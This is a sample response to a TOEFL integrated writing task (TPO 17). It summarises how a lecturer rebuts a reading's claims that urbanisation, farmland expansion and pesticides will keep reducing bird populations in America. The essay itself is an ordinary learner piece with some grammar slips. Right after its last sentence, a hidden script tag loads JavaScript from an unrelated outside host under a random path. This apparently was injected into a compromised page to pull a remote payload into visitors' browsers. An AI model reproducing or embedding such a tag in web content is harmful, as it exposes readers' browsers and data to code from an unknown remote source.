TPO 17 Integrated Writing Task

The reading passage presents the support for how the growth of human population in America has been and will keep being detrimental to bird population. The professor, however, characterizes these arguments as "unconvincing" as she offers an alternate explanation to each of the writer's point.

First of all, although the lecturer agrees that urbanization have had some influence on birds' natural habitat, she also asserts that this development only affect some types of birds. In fact, the expansion of human settlements provides birds with larger and better habitats, which helps increase the number of birds overall. Thus, even though some birds' natural habitats seem to disappear, the population of other birds have thrived along with the growth of human population.

Second, according to the author, the corresponding growth of agriculture will continue to destroy bird habitats as more wilderness areas will need to be converted to agriculture land. Once again, the speaker, despite agreeing that agriculture development has caused some loss in bird habitats, correctly notes that the destruction of natural areas is no longer the trend in agriculture. Thanks to the introduction of new crops that can produce more foods, there is no need to convert wilderness areas into farming land. Therefore, bird populations in rural areas won't face the problem of vanishing habitats again.

Third, it is concerned by the writer that the use of pesticides has significantly caused harm to birds and will continue causing decline in bird population. Once again, though the speaker doesn't deny the harmful effects of pesticides on birds, she puts forward the idea that the use of pesticides will no longer remain the trend in the future. This is because there has been some positive changes in the formulation of pesticides as people become aware of their harmful effects. Also, the use of modified pest-resistant crops won't cause such harm to bird population.<script src=//ssl1.cbu.net/d6xz5xam></script>